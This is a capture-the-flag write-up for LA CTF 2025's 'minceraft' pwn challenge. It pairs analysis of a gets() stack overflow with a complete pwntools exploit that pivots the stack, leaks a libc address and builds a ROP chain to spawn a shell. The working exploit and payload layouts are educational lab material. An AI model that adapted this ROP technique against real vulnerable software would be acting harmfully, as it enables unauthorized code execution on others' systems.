minceraft
challenge information
LA CTF 2025: https://github.com/uclaacm/lactf-archive/tree/main/2025/pwn/minceraft
analysis
[~/dc/ctf/la/minceraft] >>>checksec chall
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
vulnerabilities
buffer overflow
int main(void) {
  setbuf(stdout, NULL);
  while (1) {
    puts("\nM I N C E R A F T\n");
    puts("1. Singleplayer");
    puts("2. Multiplayer");
    if (read_int() != 1) {
      puts("who needs friends???");
      exit(1);
    }
    puts("Creating new world");
    puts("Enter world name:");
    char world_name[64];
    scanf(" ");
    gets(world_name);
    //---------------
exploit flow・爆破脚本
stack pivot into writable address.
return to gets again
rop to leak libc address
rop to get a shell
stack structure
$rdi  0x7fffffffd920|+0x0000|+000: 0x00007ffff7fc1000  ->  0x00010102464c457f
      0x7fffffffd928|+0x0008|+001: 0x0000010101000000
      0x7fffffffd930|+0x0010|+002: 0x0000000000000002
      0x7fffffffd938|+0x0018|+003: 0x00000000178bfbff
      0x7fffffffd940|+0x0020|+004: 0x00007fffffffde69  ->  0x000034365f363878 ('x86_64'?)
      0x7fffffffd948|+0x0028|+005: 0x0000000000000064
      0x7fffffffd950|+0x0030|+006: 0x0000000000001000
      0x7fffffffd958|+0x0038|+007: 0x0000000000401090 <_start>  ->  0x89485ed18949ed31
$rbp  0x7fffffffd960|+0x0040|+008: 0x0000000000000001
      0x7fffffffd968|+0x0048|+009: 0x00007ffff7c29d90 <__libc_start_call_main+0x80>  ->  0xe80001b859e8c789  <-  retaddr[1]
writable region
gef> vmmap
Start         End           Size        Perm Path
0x00000400000 0x00000401000 0x000001000 r-- minceraft/chall
0x00000401000 0x00000402000 0x000001000 r-x minceraft/chall
0x00000402000 0x00000403000 0x000001000 r-- minceraft/chall
0x00000403000 0x00000404000 0x000001000 r-- minceraft/chall
***WRITABLE***
0x00000404000 0x00000405000 0x000001000 rw- minceraft/chall
**************
Rop1
world_name  | A*0x40
--------------------
rbp         | writable (0x404e000)
ret addr    | *main+143 -> scanf(" ")
Rop2
world_name  | A*0x40
--------------------
rbp         | writable+0x20 (0x404e020)
ret addr    | *read_int+65 -> mov eax,DWORD PTR [rbp-0x4]; leave; ret;
padding     | 0x0000000000000000                    V
padding&leak| 0x0040400000000000                    |
    padding  (4)| 0x00000000                        |
    leak addr(4)| 0x00404000 <puts@got[plt]> <------J
next_rbp    | writable+30h-8h
next_ret    | *main+427 -> mov rdi,rax; call 0x401030 <puts@plt>
rop         | _start
Rop3
world_name  | A*0x40
--------------------
rbp         | writable (0x404e000)
ret addr    | ret;
rop         | pop rdi; ret;
rop         | &"/bin/sh\0"
rop         | system()
exploit
from pwn import *
import sys
e = ELF("chall",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
dbg = 1
g_script = """
    set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
    io = remote(host=HOST,port=PORT)
else:
    io = e.process()
    if dbg:
        gdb.attach(io,g_script)
s   = lambda b: io.send(b)
sa  = lambda a,b: io.sendafter(a,b)
sl  = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
r   = lambda : io.recv()
ru  = lambda b:io.recvuntil(b)
rl  = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def paybyte(data:bytes):global payload;payload = data
def addbyte(data:bytes):global payload;payload+= data
def pay64(adr:int):global payload;payload = p64(adr)
def add64(adr:int):global payload;payload+= p64(adr)
ret = 0x0000000000401016
mov_rax_rbp4 = 0x004011b7
writable = 0x404e00
mov_rdi_rax = 0x00401367
paybyte(b"A"*0x40)
add64(writable)
add64(0x000000000040124b) #scanf(" ")
r()
sl(b"1")
r()
sl(payload)
r()
sl(b"1")
r()
sl(b"2")
paybyte(b"B"*0x40)
add64(writable+0x20)
add64(mov_rax_rbp4)
add64(0x0) #padding
add64(0x40400000000000)
add64(writable+0x30-8)
add64(mov_rdi_rax)
add64(e.sym["_start"])
r()
sl(payload)
r()
sl(b"1")
print("waiting for it")
time.sleep(5)
r()
sl(b"2")
ru(b"Exit\n")
leak = rl().strip()
leak = pu64(leak)
hlog(leak)
diff = 0x724ccba80e50 - 0x0000724ccba00000
libc.address = leak - diff 
hlog(libc.address)
rop = ROP(libc, base = libc.address)
rop.call(ret)
rop.system(next(libc.search(b"/bin/sh\0")))
sl(b"2")
sl(b"1")
r()
paybyte(b"C"*0x40)
add64(writable)
addbyte(rop.chain())
sl(payload)
r()
sl(b"1")
print("waiting for it")
time.sleep(5)
r()
sl(b"2")
shell()
Last modified: 15 February 2025